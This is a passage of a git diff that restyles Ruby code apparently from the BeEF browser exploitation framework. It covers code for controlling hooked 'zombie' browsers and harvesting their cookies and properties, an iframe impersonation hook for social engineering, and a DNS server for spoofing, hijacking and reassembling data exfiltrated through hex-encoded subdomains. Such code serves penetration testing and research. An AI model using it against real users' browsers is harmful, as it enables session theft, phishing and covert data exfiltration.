hooked_browser_id: targetid).each do |command| + commands.push({ + 'id' => i, + 'object_id' => command.id, + 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s, + 'label' => command.label + }) + i += 1 + end - # add property to summary hash - if not hosts.empty? - hosts.each do |x| - summary_grid_hash['results'].push({ - 'ip' => x['ip'].to_s, - 'hostname' => x['hostname'].to_s, - 'type' => x['type'].to_s, - 'os' => x['os'].to_s, - 'mac' => x['mac'].to_s, - 'lastseen' => x['lastseen'].to_s - }) + commands + end + + def getindividualresponse(cmdid) + results = [] + begin + BeEF::Core::Models::Result.where(command_id: cmdid).each do |result| + results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) }) + end + rescue StandardError + return nil + end + results + end + + def executecommand + definition = {} + options = {} + options.store('zombie_session', targetsession.to_s) + options.store('command_module_id', cmd['id']) + + unless cmd['Data'].nil? + cmd['Data'].each do |key| + options.store('txt_' + key['name'].to_s, key['value']) + end + end + + options.keys.each do |param| + definition[param[4..-1]] = options[param] + oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1]) + oc.value = options[param] + oc.save + end + + mod_key = BeEF::Module.get_key_by_database_id(cmd['id']) + # Hack to rework the old option system into the new option system + def2 = [] + definition.each do |k, v| + def2.push({ 'name' => k, 'value' => v }) + end + # End hack + if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil? + false + else + true + end + + # Old method + # begin + # BeEF::Core::Models::Command.new( :data => definition.to_json, + # :hooked_browser_id => self.targetid, + # :command_module_id => self.cmd['id'], + # :creationdate => Time.new.to_i + # ).save + # rescue + # return false + # end + + # return true + end + + def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id) + # construct leaf node for the command module tree + leaf_node = { + 'text' => cmd_name, + 'leaf' => true, + 'status' => cmd_status, + 'id' => cmd_id + } + + # add the node to the branch in the command module tree + tree.each do |x| + if x['text'].eql? cmd_category + x['children'].push(leaf_node) + break + end + end + end + + def get_command_module_status(mod) + hook_session_id = targetsession + return 'Verified Unknown' if hook_session_id.nil? + + case BeEF::Module.support( + mod, + { + 'browser' => BD.get(hook_session_id, 'BrowserName'), + 'ver' => BD.get(hook_session_id, 'BrowserVersion'), + 'os' => [BD.get(hook_session_id, 'OsName')] + } + ) + + when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING + 'Verified Not Working' + when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY + 'Verified User Notify' + when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING + 'Verified Working' + when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN + 'Verified Unknown' + else + 'Verified Unknown' + end + end + + # @note Returns a JSON array containing the summary for a selected zombie. + # Yoinked from the UI panel - + # we really need to centralise all this stuff and encapsulate it away. + def select_zombie_summary + return if targetsession.nil? + + # init the summary grid + summary_grid_hash = { + 'success' => 'true', + 'results' => [] + } + + # zombie properties + # in the form of: category, UI label, value + zombie_properties = [ + + # Browser + ['Browser', 'Browser Name', 'BrowserName'], + ['Browser', 'Browser Version', 'BrowserVersion'], + ['Browser', 'Browser UA String', 'BrowserReportedName'], + ['Browser', 'Browser Language', 'BrowserLanguage'], + ['Browser', 'Browser Platform', 'BrowserPlatform'], + ['Browser', 'Browser Plugins', 'BrowserPlugins'], + ['Browser', 'Window Size', 'WindowSize'], + + # Browser Components + ['Browser Components', 'Flash', 'HasFlash'], + ['Browser Components', 'Java', 'JavaEnabled'], + ['Browser Components', 'VBScript', 'VBScriptEnabled'], + ['Browser Components', 'PhoneGap', 'HasPhonegap'], + ['Browser Components', 'Google Gears', 'HasGoogleGears'], + ['Browser Components', 'Web Sockets', 'HasWebSocket'], + ['Browser Components', 'QuickTime', 'HasQuickTime'], + ['Browser Components', 'RealPlayer', 'HasRealPlayer'], + ['Browser Components', 'Windows Media Player', 'HasWMP'], + ['Browser Components', 'VLC', 'HasVLC'], + ['Browser Components', 'WebRTC', 'HasWebRTC'], + ['Browser Components', 'ActiveX', 'HasActiveX'], + ['Browser Components', 'Session Cookies', 'hasSessionCookies'], + ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'], + + # Hooked Page + ['Hooked Page', 'Page Title', 'PageTitle'], + ['Hooked Page', 'Page URI', 'PageURI'], + ['Hooked Page', 'Page Referrer', 'PageReferrer'], + ['Hooked Page', 'Hook Host', 'HostName'], + ['Hooked Page', 'Cookies', 'Cookies'], + + # Host + %w[Host Date DateStamp], + ['Host', 'Operating System', 'OsName'], + %w[Host Hardware Hardware], + %w[Host CPU CPU], + ['Host', 'Default Browser', 'DefaultBrowser'], + ['Host', 'Screen Size', 'ScreenSize'], + ['Host', 'Touch Screen', 'TouchEnabled'] + ] + + # set and add the return values for each browser property + # in the form of: category, UI label, value + zombie_properties.each do |p| + case p[2] + when 'BrowserName' + data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(targetsession.to_s, p[2])).to_s + + when 'ScreenSize' + screen_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON + width = screen_size_hash['width'] + height = screen_size_hash['height'] + cdepth = screen_size_hash['colordepth'] + data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}" + + when 'WindowSize' + window_size_hash = JSON.parse(BD.get(targetsession.to_s, p[2]).gsub(/"=>/, '":')) # tidy up the string for JSON + width = window_size_hash['width'] + height = window_size_hash['height'] + data = "Width: #{width}, Height: #{height}" + else + data = BD.get(targetsession, p[2]) + end + + # add property to summary hash + next if data.nil? + + summary_grid_hash['results'].push({ + 'category' => p[0], + 'data' => { p[1] => CGI.escapeHTML(data.to_s) }, + 'from' => 'Initialization' + }) + end + + summary_grid_hash + end + + def select_network_hosts + return if targetsession.nil? + + configuration = BeEF::Core::Configuration.instance + unless configuration.get('beef.extension.network.enable') + print_error('Network extension is disabled') + return { + 'success' => 'false', + 'results' => [] + } + end + + # init the summary grid + summary_grid_hash = { + 'success' => 'true', + 'results' => [] + } + @nh = BeEF::Core::Models::NetworkHost + hosts = @nh.where(hooked_browser_id: targetsession) + + # add property to summary hash + unless hosts.empty? + hosts.each do |x| + summary_grid_hash['results'].push({ + 'ip' => x['ip'].to_s, + 'hostname' => x['hostname'].to_s, + 'type' => x['type'].to_s, + 'os' => x['os'].to_s, + 'mac' => x['mac'].to_s, + 'lastseen' => x['lastseen'].to_s + }) + end + end + + summary_grid_hash + end + + def select_network_services + return if targetsession.nil? + + configuration = BeEF::Core::Configuration.instance + unless configuration.get('beef.extension.network.enable') + print_error('Network extension is disabled') + return { + 'success' => 'false', + 'results' => [] + } + end + + # init the summary grid + summary_grid_hash = { + 'success' => 'true', + 'results' => [] + } + @ns = BeEF::Core::Models::NetworkService + services = @ns.where(hooked_browser_id: targetsession) + + # add property to summary hash + unless services.empty? + services.each do |x| + summary_grid_hash['results'].push({ + 'proto' => x['proto'].to_s, + 'ip' => x['ip'].to_s, + 'port' => x['port'].to_s, + 'type' => x['type'].to_s + }) + end + end + + summary_grid_hash + end + + attr_reader :targetsession, :targetid, :targetip, :cmd + + protected + + attr_writer :targetsession, :targetid, :targetip, :cmd + attr_accessor :config end end - - summary_grid_hash end - - def select_network_services - - return if self.targetsession.nil? - - configuration = BeEF::Core::Configuration.instance - if !configuration.get("beef.extension.network.enable") - print_error("Network extension is disabled") - return { - 'success' => 'false', - 'results' => [] - } - end - - # init the summary grid - summary_grid_hash = { - 'success' => 'true', - 'results' => [] - } - @ns = BeEF::Core::Models::NetworkService - services = @ns.where(:hooked_browser_id => self.targetsession) - - # add property to summary hash - if not services.empty? - services.each do |x| - summary_grid_hash['results'].push({ - 'proto' => x['proto'].to_s, - 'ip' => x['ip'].to_s, - 'port' => x['port'].to_s, - 'type' => x['type'].to_s - }) - end - end - - summary_grid_hash - end - - attr_reader :targetsession - attr_reader :targetid - attr_reader :targetip - attr_reader :cmd - - protected - - attr_writer :targetsession - attr_writer :targetid - attr_writer :targetip - attr_writer :cmd - attr_accessor :config - end - -end end end diff --git a/extensions/console/shell.rb b/extensions/console/shell.rb index e48e58b8d..4934abadd 100644 --- a/extensions/console/shell.rb +++ b/extensions/console/shell.rb @@ -8,65 +8,56 @@ require 'rex' require 'rex/ui' module BeEF -module Extension -module Console + module Extension + module Console + class Shell + DefaultPrompt = '%undBeEF%clr' + DefaultPromptChar = '%clr>' -class Shell - - DefaultPrompt = "%undBeEF%clr" - DefaultPromptChar = "%clr>" - - include Rex::Ui::Text::DispatcherShell - - def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) - - require 'extensions/console/lib/readline_compatible' - require 'extensions/console/lib/command_dispatcher' - require 'extensions/console/lib/shellinterface' - - self.http_hook_server = opts['http_hook_server'] - self.config = opts['config'] - self.jobs = Rex::JobContainer.new - self.interface = BeEF::Extension::Console::ShellInterface.new(self.config) - - super(prompt, prompt_char, File.expand_path(self.config.get("beef.extension.console.shell.historyfolder").to_s + self.config.get("beef.extension.console.shell.historyfile").to_s)) - - input = Rex::Ui::Text::Input::Stdio.new - output = Rex::Ui::Text::Output::Stdio.new - - init_ui(input,output) - - enstack_dispatcher(CommandDispatcher::Core) - - #To prevent http_hook_server from blocking, we kick it off as a background job here. - self.jobs.start_bg_job( - "http_hook_server", - self, - Proc.new { |ctx_| self.http_hook_server.start } - ) - - end - - def stop - super - end - - #New method to determine if a particular command dispatcher it already .. enstacked .. gooood - def dispatched_enstacked(dispatcher) - inst = dispatcher.new(self) - self.dispatcher_stack.each { |disp| - if (disp.name == inst.name) - return true + include Rex::Ui::Text::DispatcherShell + + def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) + require 'extensions/console/lib/readline_compatible' + require 'extensions/console/lib/command_dispatcher' + require 'extensions/console/lib/shellinterface' + + self.http_hook_server = opts['http_hook_server'] + self.config = opts['config'] + self.jobs = Rex::JobContainer.new + self.interface = BeEF::Extension::Console::ShellInterface.new(config) + + super(prompt, prompt_char, File.expand_path(config.get('beef.extension.console.shell.historyfolder').to_s + config.get('beef.extension.console.shell.historyfile').to_s)) + + input = Rex::Ui::Text::Input::Stdio.new + output = Rex::Ui::Text::Output::Stdio.new + + init_ui(input, output) + + enstack_dispatcher(CommandDispatcher::Core) + + # To prevent http_hook_server from blocking, we kick it off as a background job here. + jobs.start_bg_job( + 'http_hook_server', + self, + proc { |_ctx_| http_hook_server.start } + ) + end + + def stop + super + end + + # New method to determine if a particular command dispatcher it already .. enstacked .. gooood + def dispatched_enstacked(dispatcher) + inst = dispatcher.new(self) + dispatcher_stack.each do |disp| + return true if disp.name == inst.name + end + false + end + + attr_accessor :http_hook_server, :config, :jobs, :interface end - } - return false + end end - - attr_accessor :http_hook_server - attr_accessor :config - attr_accessor :jobs - attr_accessor :interface - end - -end end end \ No newline at end of file diff --git a/extensions/customhook/api.rb b/extensions/customhook/api.rb index 884db0a14..9a76ce654 100644 --- a/extensions/customhook/api.rb +++ b/extensions/customhook/api.rb @@ -4,29 +4,27 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Customhook - - module RegisterHttpHandlers - - BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') - BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start') - - def self.mount_handler(beef_server) - configuration = BeEF::Core::Configuration.instance - configuration.get("beef.extension.customhook.hooks").each do |h| - beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new) - end - end + module Extension + module Customhook + module RegisterHttpHandlers + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler') + BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start') - def self.pre_http_start(beef_server) - configuration = BeEF::Core::Configuration.instance - configuration.get("beef.extension.customhook.hooks").each do |h| - print_success "Successfully mounted a custom hook point" - print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n" + def self.mount_handler(beef_server) + configuration = BeEF::Core::Configuration.instance + configuration.get('beef.extension.customhook.hooks').each do |h| + beef_server.mount(configuration.get("beef.extension.customhook.hooks.#{h.first}.path"), BeEF::Extension::Customhook::Handler.new) + end + end + + def self.pre_http_start(_beef_server) + configuration = BeEF::Core::Configuration.instance + configuration.get('beef.extension.customhook.hooks').each do |h| + print_success 'Successfully mounted a custom hook point' + print_more "Mount Point: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.path")}\nLoading iFrame: #{configuration.get("beef.extension.customhook.hooks.#{h.first}.target")}\n" + end + end end end end end -end -end diff --git a/extensions/customhook/extension.rb b/extensions/customhook/extension.rb index 01c96587e..82039d022 100644 --- a/extensions/customhook/extension.rb +++ b/extensions/customhook/extension.rb @@ -4,19 +4,17 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Customhook - - extend BeEF::API::Extension - - @short_name = 'customhook' - - @full_name = 'Custom Hook Point with iFrame Impersonation' - - @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' - -end -end + module Extension + module Customhook + extend BeEF::API::Extension + + @short_name = 'customhook' + + @full_name = 'Custom Hook Point with iFrame Impersonation' + + @description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks' + end + end end require 'extensions/customhook/api' diff --git a/extensions/customhook/handler.rb b/extensions/customhook/handler.rb index e9858a0de..6e51b2224 100644 --- a/extensions/customhook/handler.rb +++ b/extensions/customhook/handler.rb @@ -4,31 +4,29 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Customhook - - class Handler + module Extension + module Customhook + class Handler + def call(env) + @body = '' + @request = Rack::Request.new(env) + @params = @request.query_string + @response = Rack::Response.new(body = [], 200, header = {}) + config = BeEF::Core::Configuration.instance + eruby = Erubis::FastEruby.new(File.read("#{File.dirname(__FILE__)}/html/index.html")) + config.get('beef.extension.customhook.hooks').each do |h| + path = config.get("beef.extension.customhook.hooks.#{h.first}.path") + next unless path == (env['REQUEST_URI']).to_s - def call(env) - @body = '' - @request = Rack::Request.new(env) - @params = @request.query_string - @response = Rack::Response.new(body=[], 200, header={}) - config = BeEF::Core::Configuration.instance - eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html')) - config.get("beef.extension.customhook.hooks").each do |h| - path = config.get("beef.extension.customhook.hooks.#{h.first}.path") - if path == "#{env['REQUEST_URI']}" - print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'" - @body << eruby.evaluate({ - 'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"), - 'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title") - }) - break - end - end + print_info "[Custom Hook] Handling request for custom hook mounted at '#{path}'" + @body << eruby.evaluate({ + 'customhook_target' => config.get("beef.extension.customhook.hooks.#{h.first}.target"), + 'customhook_title' => config.get("beef.extension.customhook.hooks.#{h.first}.title") + }) + break + end - @response = Rack::Response.new( + @response = Rack::Response.new( body = [@body], status = 200, header = { @@ -39,20 +37,15 @@ module Customhook 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'POST, GET' } - ) - - end + ) + end - private - - # @note Object representing the HTTP request - @request - - # @note Object representing the HTTP response - @response - + # @note Object representing the HTTP request + @request + + # @note Object representing the HTTP response + @response + end + end end - -end -end end diff --git a/extensions/demos/api.rb b/extensions/demos/api.rb index 6442623a6..4e4ec323c 100644 --- a/extensions/demos/api.rb +++ b/extensions/demos/api.rb @@ -11,15 +11,16 @@ module BeEF def self.mount_handler(beef_server) # mount everything in html directory to /demos/ - path = File.dirname(__FILE__) + '/html/' - files = Dir[path + '**/*'] + path = "#{File.dirname(__FILE__)}/html/" + files = Dir["#{path}**/*"] beef_server.mount('/demos', Rack::File.new(path)) files.each do |f| # don't follow symlinks next if File.symlink?(f) - mount_path = '/demos/' + f.sub(path, '') + + mount_path = "/demos/#{f.sub(path, '')}" if File.extname(f) == '.html' # use handler to mount HTML templates beef_server.mount(mount_path, BeEF::Extension::Demos::Handler.new(f)) diff --git a/extensions/demos/handler.rb b/extensions/demos/handler.rb index 6ea7ffad3..3235d7489 100644 --- a/extensions/demos/handler.rb +++ b/extensions/demos/handler.rb @@ -38,8 +38,6 @@ module BeEF ) end - private - # @note String representing the absolute path to the .html file @file_path diff --git a/extensions/dns/api.rb b/extensions/dns/api.rb index d9ec417fe..7e05818be 100644 --- a/extensions/dns/api.rb +++ b/extensions/dns/api.rb @@ -7,9 +7,7 @@ module BeEF module Extension module Dns module API - module NameserverHandler - BeEF::API::Registrar.instance.register( BeEF::Extension::Dns::API::NameserverHandler, BeEF::API::Server, @@ -25,11 +23,15 @@ module BeEF # Starts the DNS nameserver at BeEF startup. # # @param http_hook_server [BeEF::Core::Server] HTTP server instance - def self.pre_http_start(http_hook_server) + def self.pre_http_start(_http_hook_server) dns_config = BeEF::Core::Configuration.instance.get('beef.extension.dns') dns = BeEF::Extension::Dns::Server.instance - protocol = dns_config['protocol'].to_sym rescue :udp + protocol = begin + dns_config['protocol'].to_sym + rescue StandardError + :udp + end address = dns_config['address'] || '127.0.0.1' port = dns_config['port'] || 5300 interfaces = [[protocol, address, port]] @@ -44,12 +46,13 @@ module BeEF up_port = server[2] next if [up_protocol, up_address, up_port].include?(nil) + servers << [up_protocol.to_sym, up_address, up_port] if up_protocol =~ /^(tcp|udp)$/ upstream_servers << "Upstream Server: #{up_address}:#{up_port} (#{up_protocol})\n" end end - dns.run(:upstream => servers, :listen => interfaces) + dns.run(upstream: servers, listen: interfaces) print_info "DNS Server: #{address}:#{port} (#{protocol})" print_more upstream_servers unless upstream_servers.empty? @@ -61,9 +64,7 @@ module BeEF def self.mount_handler(beef_server) beef_server.mount('/api/dns', BeEF::Extension::Dns::DnsRest.new) end - end - end end end diff --git a/extensions/dns/dns.rb b/extensions/dns/dns.rb index ad1e145d7..967c824bf 100644 --- a/extensions/dns/dns.rb +++ b/extensions/dns/dns.rb @@ -6,20 +6,18 @@ module BeEF module Extension module Dns - # Provides the core DNS nameserver functionality. The nameserver handles incoming requests # using a rule-based system. A list of user-defined rules is used to match against incoming # DNS requests. These rules generate a response that is either a resource record or a # failure code. class Server < Async::DNS::Server - include Singleton def initialize super() @lock = Mutex.new @database = BeEF::Core::Models::Dns::Rule - @data_chunks = Hash.new + @data_chunks = {} end # Adds a new DNS rule. If the rule already exists, its current ID is returned. @@ -49,9 +47,9 @@ module BeEF $VERBOSE = verbose @database.find_or_create_by( - :resource => rule[:resource].to_s, - :pattern => pattern.source, - :response => rule[:response] + resource: rule[:resource].to_s, + pattern: pattern.source, + response: rule[:response] ).id end end @@ -63,12 +61,10 @@ module BeEF # @return [Hash] hash representation of rule (empty hash if rule wasn't found) def get_rule(id) @lock.synchronize do - begin - rule = @database.find(id) - return to_hash(rule) - rescue ActiveRecord::RecordNotFound - return nil - end + rule = @database.find(id) + return to_hash(rule) + rescue ActiveRecord::RecordNotFound + return nil end end @@ -81,9 +77,7 @@ module BeEF @lock.synchronize do begin rule = @database.find(id) - if not rule.nil? and rule.destroy - return true - end + return true if !rule.nil? && rule.destroy rescue ActiveRecord::RecordNotFound return nil end @@ -109,10 +103,8 @@ module BeEF # # @return [Boolean] true if ruleset was destroyed, otherwise false def remove_ruleset! - @lock.synchronize do - if @database.destroy_all - return true - end + @lock.synchronize do + return true if @database.destroy_all end end @@ -134,24 +126,22 @@ module BeEF if upstream resolver = Async::DNS::Resolver.new(upstream) - @otherwise = Proc.new { |t| t.passthrough!(resolver) } + @otherwise = proc { |t| t.passthrough!(resolver) } end begin # super(:listen => listen) Thread.new { super() } - rescue RuntimeError => e - if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use - print_error "[DNS] Another process is already listening on port #{options[:listen]}" - print_error "Exiting..." - exit 127 - else - raise - end + rescue RuntimeError => e + if e.message =~ /no datagram socket/ || e.message =~ /no acceptor/ # the port is in use + print_error "[DNS] Another process is already listening on port #{options[:listen]}" + print_error 'Exiting...' + exit 127 + else + raise end - - end + end end end end @@ -164,42 +154,41 @@ module BeEF # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer def process(name, resource, transaction) @lock.synchronize do - resource = resource.to_s - print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" + print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" # no need to parse AAAA resources when data is extruded from client. Also we check if the FQDN starts with the 0xb3 string. # this 0xb3 is convenient to clearly separate DNS requests used to extrude data from normal DNS requests than should be resolved by the DNS server. - if format_resource(resource) == 'A' and name.match(/^0xb3/) + if format_resource(resource) == 'A' && name.match(/^0xb3/) reconstruct(name.split('0xb3').last) - catch (:done) do + catch(:done) do transaction.fail!(:NXDomain) end return end - catch (:done) do + catch(:done) do # Find rules matching the requested resource class - resources = @database.where(:resource => resource) + resources = @database.where(resource: resource) throw :done if resources.length == 0 # Narrow down search by finding a matching pattern resources.each do |rule| pattern = Regexp.new(rule.pattern) - if name =~ pattern - print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})" - Proc.new { |t| eval(rule.callback) }.call(transaction) - throw :done - end + next unless name =~ pattern + + print_debug "Found matching DNS rule (id: #{rule.id} response: #{rule.response})" + proc { |_t| eval(rule.callback) }.call(transaction) + throw :done end if @otherwise - print_debug "No match found, querying upstream servers" + print_debug 'No match found, querying upstream servers' @otherwise.call(transaction) else - print_debug "No match found, sending NXDOMAIN response" + print_debug 'No match found, sending NXDOMAIN response' transaction.fail!(:NXDomain) end end @@ -207,43 +196,44 @@ module BeEF end private + # Collects and reconstructs data extruded by the client and found in subdomain, with structure like: - #0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com - #[...] - #0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com + # 0.1.5.4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f6e7.browserhacker.com + # [...] + # 0.5.5.7565207175616d206469676e697373696d2065752e.browserhacker.com def reconstruct(data) - split_data = data.split('.') - pack_id = split_data[0] - seq_num = split_data[1] - seq_tot = split_data[2] - data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC) + split_data = data.split('.') + pack_id = split_data[0] + seq_num = split_data[1] + seq_tot = split_data[2] + data_chunk = split_data[3] # this might change if we store more than 63 bytes in a chunk (63 is the limitation from RFC) - if pack_id.match(/^(\d)+$/) and seq_num.match(/^(\d)+$/) and seq_tot.match(/^(\d)+$/) - print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}" + unless pack_id.match(/^(\d)+$/) && seq_num.match(/^(\d)+$/) && seq_tot.match(/^(\d)+$/) + print_debug "[DNS] Received invalid chunk:\n #{data}" + return + end - if @data_chunks[pack_id] == nil - # no previous chunks received, create new Array to store chunks - @data_chunks[pack_id] = Array.new(seq_tot.to_i) - @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk - else - # previous chunks received, update Array - @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk - if @data_chunks[pack_id].all? and @data_chunks[pack_id] != 'DONE' - # means that no position in the array is false/nil, so we received all the packet chunks - packet_data = @data_chunks[pack_id].join('') - decoded_packet_data = packet_data.scan(/../).map{ |n| n.to_i(16)}.pack('U*') - print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}" + print_debug "[DNS] Received chunk (#{seq_num} / #{seq_tot}) of packet (#{pack_id}): #{data_chunk}" - # we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it - @data_chunks[pack_id] = 'DONE' - end - end - else - print_debug "[DNS] Data (#{data}) is not a valid chunk." - end + if @data_chunks[pack_id].nil? + # no previous chunks received, create new Array to store chunks + @data_chunks[pack_id] = Array.new(seq_tot.to_i) + @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk + else + # previous chunks received, update Array + @data_chunks[pack_id][seq_num.to_i - 1] = data_chunk + if @data_chunks[pack_id].all? && @data_chunks[pack_id] != 'DONE' + # means that no position in the array is false/nil, so we received all the packet chunks + packet_data = @data_chunks[pack_id].join('') + decoded_packet_data = packet_data.scan(/../).map { |n| n.to_i(16) }.pack('U*') + print_debug "[DNS] Packet data fully received: #{packet_data}. \n Converted from HEX: #{decoded_packet_data}" + + # we might get more DNS requests for the same chunks sometimes, once every chunk of a packet is received, mark it + @data_chunks[pack_id] = 'DONE' + end + end end - private # Helper method that converts a DNS rule to a hash. # # @param rule [BeEF::Core::Models::Dns::Rule] rule to be converted @@ -279,9 +269,7 @@ module BeEF def format_resource(resource) /::(\w+)$/.match(resource)[1] end - end - end end end diff --git a/extensions/dns/extension.rb b/extensions/dns/extension.rb index aab9bb888..ec46b9c8f 100644 --- a/extensions/dns/extension.rb +++ b/extensions/dns/extension.rb @@ -5,18 +5,15 @@ # require 'async/dns' - module BeEF module Extension module Dns - extend BeEF::API::Extension @short_name = 'dns' @full_name = 'DNS Server' @description = 'A configurable DNS nameserver for performing DNS spoofing, ' + - 'hijacking, and other related attacks against hooked browsers.' - + 'hijacking, and other related attacks against hooked browsers.' end end end diff --git a/extensions/dns/logger.rb b/extensions/dns/logger.rb index 38e633d2e..72e3f34f0 100644 --- a/extensions/dns/logger.rb +++ b/extensions/dns/logger.rb @@ -6,10 +6,8 @@ # Disables the logger used by RubyDNS due to its excessive verbosity. class Logger - def debug(msg = ''); end def info(msg = ''); end def error(msg = ''); end def warn(msg = ''); end - end diff --git a/extensions/dns/model.rb b/extensions/dns/model.rb index 0290630b2..e3adc7109 100644 --- a/extensions/dns/model.rb +++ b/extensions/dns/model.rb @@ -7,35 +7,30 @@ module BeEF module Core module Models module Dns - # Represents an individual DNS rule. class Rule < BeEF::Core::Model - # Hooks the model's "save" event. Validates pattern/response and generates a rule identifier. before_save :check_rule self.table_name = 'dns_rules' serialize :response, Array - private + private def check_rule - begin - validate_pattern(self.pattern) - self.callback = format_callback(self.resource.constantize, self.response) - rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e - print_error e.message - throw :halt - end - - #self.id = BeEF::Core::Crypto.dns_rule_id + validate_pattern(pattern) + self.callback = format_callback(resource.constantize, response) + rescue InvalidDnsPatternError, UnknownDnsResourceError, InvalidDnsResponseError => e + print_error e.message + throw :halt + # self.id = BeEF::Core::Crypto.dns_rule_id end # Verifies that the given pattern is valid (i.e. non-empty, no null's or printable characters). def validate_pattern(pattern) raise InvalidDnsPatternError unless BeEF::Filters.is_non_empty_string?(pattern) && - !BeEF::Filters.has_null?(pattern) && - !BeEF::Filters.has_non_printable_char?(pattern) + !BeEF::Filters.has_null?(pattern) && + !BeEF::Filters.has_non_printable_char?(pattern) end # Strict validator which ensures that only an appropriate response is given. @@ -47,18 +42,19 @@ module BeEF def format_callback(resource, response) sym_regex = /^:?(NoError|FormErr|ServFail|NXDomain|NotImp|Refused|NotAuth)$/i - src = if resource == Resolv::DNS::Resource::IN::A + if resource == Resolv::DNS::Resource::IN::A if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv4) - sprintf "t.respond!('%s')", response + format "t.respond!('%s')", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!('%s');" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'A' unless BeEF::Filters.is_valid_ip?(r, :ipv4) - str2 << sprintf(str1, r) + + str2 << format(str1, r) end str2 @@ -67,16 +63,17 @@ module BeEF end elsif resource == Resolv::DNS::Resource::IN::AAAA if response.is_a?(String) && BeEF::Filters.is_valid_ip?(response, :ipv6) - sprintf "t.respond!('%s')", response + format "t.respond!('%s')", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym elsif response.is_a?(Array) str1 = "t.respond!('%s');" str2 = '' response.each do |r| raise InvalidDnsResponseError, 'AAAA' unless BeEF::Filters.is_valid_ip?(r, :ipv6) - str2 << sprintf(str1, r) + + str2 << format(str1, r) end str2 @@ -85,35 +82,36 @@ module BeEF end elsif resource == Resolv::DNS::Resource::IN::CNAME if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) - sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response + format "t.respond!(Resolv::DNS::Name.create('%s'))", response elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'CNAME' end elsif resource == Resolv::DNS::Resource::IN::MX if response[0].is_a?(Integer) && - BeEF::Filters.is_valid_domain?(response[1]) + BeEF::Filters.is_valid_domain?(response[1]) - data = { :preference => response[0], :exchange => response[1] } - sprintf "t.respond!(%d, Resolv::DNS::Name.create('%s'))", data + data = { preference: response[0], exchange: response[1] } + format "t.respond!(%d, Resolv::DNS::Name.create('%s'))", data elsif (response.is_a?(Symbol) && response.to_s =~ sym_regex) || response =~ sym_regex - sprintf "t.fail!(:%s)", response.to_sym + format 't.fail!(:%s)', response.to_sym else raise InvalidDnsResponseError, 'MX' end elsif resource == Resolv::DNS::Resource::IN::NS if response.is_a?(String) && BeEF::Filters.is_valid_domain?(response) - sprintf "t.respond!(Resolv::DNS::Name.create('%s'))", response + format 